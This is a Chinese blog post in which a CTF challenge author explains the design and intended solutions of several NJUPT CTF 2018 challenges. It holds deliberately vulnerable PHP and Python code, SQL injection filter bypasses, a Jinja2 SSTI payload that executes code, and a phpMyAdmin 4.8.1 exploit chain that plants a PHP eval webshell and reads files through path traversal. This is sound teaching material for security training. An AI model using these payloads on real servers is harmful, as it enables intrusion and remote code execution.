NJUPTCTF-2018出题心得

原创

郁离歌 于 2019-01-21 22:50:48 发布 2696 收藏 6

分类专栏： CTF-WRITE-UP 文章标签： NCTF2018 writeup

本文链接：https://blog.csdn.net/like98k/article/details/86586271

NJUPTCTF-2018出题心得

NJUPTCTF-2018结束也有几个月了，我也是昨天才忙完各种琐事，包括比赛、考试、出题、总结等等。这段时间经历的事情太多，心也逐渐疲惫，同时感到和同龄人的差距越来越大。现在要补这几个月落下的东西，昨天把CTF学习交流群的入群题出了一下，题目比较简单，希望师傅们别喷。这段时间欠的最久的应该就是校赛的出题心得了吧。虽然我的题全部都有人解出，但是还是有很多人要我写一下心得。废话不多说了，让我们开始吧。

NJUPT-CTF2018的题目源码：https://github.com/NJUPT-coding-gay/NCTF2018

MISC-baby Python [833pts 3solves]

出题思路：变量覆盖（来自队友@ccc）

首先贴一下题目源码吧。题目其实并不难，至于为什么只有三队解出我也很纳闷。

```
#!/usr/bin/python
from __future__ import print_function
print("Welcome to yulige's Python sandbox! Enter commands below!")
print("Could you bypass it?")
Th1s_1S_WAF = [
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "input",
    "cry sum more",
    "sys",
    "linecache",
    "globals",
    "flag",
    "file",
    "pop",
    "getattr",
    "class",
    "mro",
    "bases",
    "subclasses",
   "init",
    "]","["]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
targets.remove('dir')
for x in targets:
    del __builtins__.__dict__[x]
while 1:
    print(">>>", end=' ')
    data = raw_input()
    for no in Th1s_1S_WAF:
        if no.lower() in data.lower():
            print("No!Y0u 4r3 A baby H4ck3r...")
            break
    else:
        try:
           exec data
        except:
           print("Wh4t_Th3_Err0r?")
```

当然，当时做的时候是黑盒,需要自己fuzz。代码逻辑也比较简单，关键词在黑名单就报`No!Y0u 4r3 A baby H4ck3r...`如果执行错误就`Wh4t_Th3_Err0r?`，黑名单的话我过滤的也并不是太严格。内置函数我留了三个`raw_input,dir和print`。

这题的关键点在哪呢？其实很简单，在黑名单里面少了一个`Th1s_1S_WAF`,当不拦截改字符时，我们可以将waf的黑名单内容置为空，也就是变量覆盖。

那么发现这一点后如何去找出waf的变量名呢？当放出一段时间还是0解的时候给出了提示：**全局变量**。然后为了降低难度，我特地将黑名单的变量名设置为`Th1s_1S_WAF`。那么怎么找到它呢？需要fuzz找到`dir和print`然后执行执行

```
print(dir())
Th1s_1S_WAF=()
```

执行完之后除了内置函数只有三个之外别无限制，可以自由的用继承链拿flag。如果不大会的话可以看我以前的文章。**《python安全之学习笔记（一）》**
然后的话解出的三队都是这个思路，当然了，不排除不用`dir`拿全局变量的方法。下次出题的话我就把`dir`给拿掉了hhhhh。

WEB-签到题 [36pts 270solves]

出题思路：**会burpsuite抓包就能签到**
作为所有题目中最饱受争议的一题，我也比较迷茫。当时是说为了刷掉一些划水的选手，所以出了这个题目。

题目也非常简单，就是有两个302跳转，index.php跳转secret.php，然后secret.php用libcurl去curl百度。我本来是curl我们X1cT34m的博客的，然而效果是前端炸了，所以我只能curl百度了，也提示了大家要多多百度谷歌学习鸭~

这个题目的真正flag在index.php的cookie中，用burpsuite抓包或者用谷歌开发者工具或者用curl都可以拿到flag。secret.php的话的cookie里面我也设置了一个假flag。

这个题目的最多人认为出的最好的题目，也是最多人认为出的最烂的题目。我也懵逼了。很多人来问我，为什么找不到flag。我的回答是：**“为什么你没有想过一打开这个网址就看到的是secret.php而不是index.php呢？”**大家恍然大悟。其实这确实是一个简单题，毋庸置疑。如果没做出来的话应该是没有足够的经验或者是没有注意细节了。

全球最大交友网站 [192pts 43solves]

出题思路：**.git源码泄露**
参考链接：

1. https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
2. https://blog.csdn.net/xiaotaode2012/article/details/77285036

这个题目严格来说应该放misc，但是的话我觉得源码泄露确实是现实生活中开发和运维者的一大问题。比如本题就是git源码泄露，flag就在.git文件夹里面，只不过需要自己去寻找。这个题我是照着p牛的文章出的，在众多web题里面也经常用这个套路来给源码。

这个题目的点在哪呢？

1. 首先是从题目名字**全球最大交友网站**想到github，从而进一步想到.git泄露，我也有想过出一个社工题，需要去github搜源码，不过想到槽点可能会比较多，所以flag就直接放在.git文件夹里面了。
2. 然后就是不依赖于工具，或者是用更接近底层实现原理的工具。因为我把flag藏在历史版本里面了。如果直接用最大众的githack的话是拿不到.git文件夹和flag的。因为他把.git恢复到文件已经完成了，然后还把.git文件夹删了。也就自动恢复成了最新版本。这里需要用lijiejie版本的githack下载.git文件夹或者自己对着.git文件的格式将文件一个一个下载下来或者自己写个脚本实现该过程。
   3.最后就是git命令的使用了。

```
git log
git reset --hard  HEAD
```

完整的解题思路：从题目名联想到.git泄露->将.git文件夹下载->在readme.md找到tag 1.0的提示->git命令回滚历史版本->拿到flag。

WEB-小绿草之最强大脑 [500pts 11solves]

出题思路：**.bak源码泄露及intval()的特性(来自hackgame2018-猫咪银行)**

这题其实也并不难，题目大致要表达的意思就是：开发者为了防止大数计算时数据溢出，而直接用intval()处理post过来的数字。提示里面也表达清楚了：开发为了防止bug而写了新的bug，这个新的bug会导致正常计算怎么也不对。

而这点只要测一下就知道。在php中，post，get传过来的参数都是string，而intval处理string强制类型转换的时候就不会溢出的，最大只能是最大值。**32位系统：2147483647 64位系统：9223372036854775807**所以的话无论我们传过去的数值是多少，最后都只会是一个固定值。

还有一个点就是python脚本的编写，因为要连续算对5次，所以脚本里面是要存session的。很多人来问我为什么次数不会叠加也是这个原因。每次答题时间也有限制，不能太快也不能太慢。这一点也不难，经过百度谷歌搜索之后也能快速学会该题脚本编写。

WEB-滴！晨跑打卡 [100pts 91solves]

出题思路：**SQL注入**

这个题的思路来自于南邮学子不想跑操的决心和一败涂地的现实。“若是跑操系统能注入多好啊~“少年发出这样的感慨。

题目也并不难，为了降低难度，我直接从sqli-labs拿的waf源码，前端则是来自真实的跑操系统，然后自己手动补全后端代码并改造成题目（套用前端已经过作者彭老板同意）

题目关键代码

```
<?php

$id = $_GET["id"];
if(isset($_GET["id"])){
    echo $id;
    echo "<br>";
    echo $_SERVER['QUERY_STRING'];
    if(preg_match("/[\s#*-]+/",$id)){
        die("NO!!! You are Hacker!!!");
    }
    $query = "select * from pcnumber where id ='$id'";
    echo $query;

    $result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
    while($row = mysql_fetch_array($result))
      {
        echo '<tr class=" odd">
        <td arg="日期">'.$row['id'].'</td>
        <td arg="日期">'.$row['bigtime'].'</td>
       <td arg="时间">
       '.$row['smalltime'].'</td>
       </tr>
       ';
      }
}
?>
```

waf是`\s#*-` `\s和*`可以用`%a0，%0d`等等绕过，`#`和`-`可以用`||'1`结尾来绕过，而后端使用了`mysql_error()`,也可以用报错注入，而有一个小点要注意，使用的报错注入的函数是有32位长度限制的，所以要使用正确的函数。

基本操作 [833pts 3solves]

出题思路：**phpmyadmin4.8.1后台getshell**

参考链接：https://www.jianshu.com/p/0d75017c154f

这个题是拿前一段时间呆哥审出来的那个cve出的，不过没他那么麻烦，用的p牛知识星球上的思路。

两点：一是guest/guset登陆进去，很多人都卡在这一步，这我也没办法，这真的已经是基本操作了233333
二是getshell，好多同学和我说getshell不了，但是我测试的时候也发现了这一点，然而还是可以getshell的，就是一句话别用post马，因为在那个页面post数据会跳走而导致没有回显，用get的一句话就可以了。

具体操作：
执行sql语句。

```
select '<?php @eval($_GET[1]);?>';
```

然后包含phpsession文件。

```
http://127.0.0.1:9090/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_(你的cookie)
```

getshell，读flag。

```
http://127.0.0.1:9090/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_(你的cookie)&1=system('cat /var/www/html/flag.php');
```

其实也算个简单题，复现过或者查查资料，登陆进去之后就能秒的。

WEB-flask真香 [526pts 10solves]

出题思路：**SSTI+逻辑漏洞**
这题算是小绿草之最强大脑出题想法的另外一个体现：开发者为了防御SSTI却导致了逻辑绕过漏洞。
看代码吧：

```
def page_not_found(e):
    def safe_jinja(s):
        blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']
        for no in blacklist:
            while True:
                if no in s:
                    s =s.replace(no,'')
                else:
                    break
        a =  ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in a])+s
    template = '''
```

代码逻辑很比较简单清楚，首先有黑名单替换为空，后面又一个黑名单替换为空，两者同时使用叠加就导致了逻辑漏洞。
当输入`claconfigss`的时候，第一个黑名单没触发，第二个黑名单将config替换成空，最后得到的就是`class`，轻而易举的绕过。

WEB-Flask PLUS [769pts 4solves]

出题思路：**SSTI+jinja2过滤器**
这题其实相比上一题的话区别就是只有一层黑名单，而且是waf，不是过滤。看代码吧：

```
def page_not_found(e):
    def safe_jinja(s):
        blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for','subp
rocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','geti
tem','getattribute','func_globals','__init__','join','__dict__']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag= False
                break
        return flag
    template = '''
```

和上一个flask的黑名单大致类似，不过也留出来了比较多的利用空间，比如bases就还在，可以一层一层往上翻。然后可以各种花式绕过。我这里就不一一举例了。给出一个比较有意思的payload：

```
{{get_flashed_messages.__globals__['__bui'+'ltins__']['ev'+'al'](")(daer.)'sl'(nepop.)'so'(__tropmi__")|reverse
)}}
```

`|reverse`是jinja2的一个过滤器，文档链接：http://docs.jinkan.org/docs/jinja2/templates.html#filters
作用的话和名字一样也就是逆序，可以用来bypass基于关键词的waf。

写在最后

其实的话有好多题目都准备放在这次比赛的，但是由于种种原因去掉了一些题目，感觉挺可惜的。而这次比赛的时间也和好多比赛的时间冲突了。校内排名最高的队伍做题量也没有百分之50emmm...确实的话这次好像web的难度高了一点？为此我还愧疚了一段时间。这也是我隔了这么久还坚持写下这篇文章的原因。加油吧少年，无论怎样未来还是会继续。希望你不要成为半途而废的人。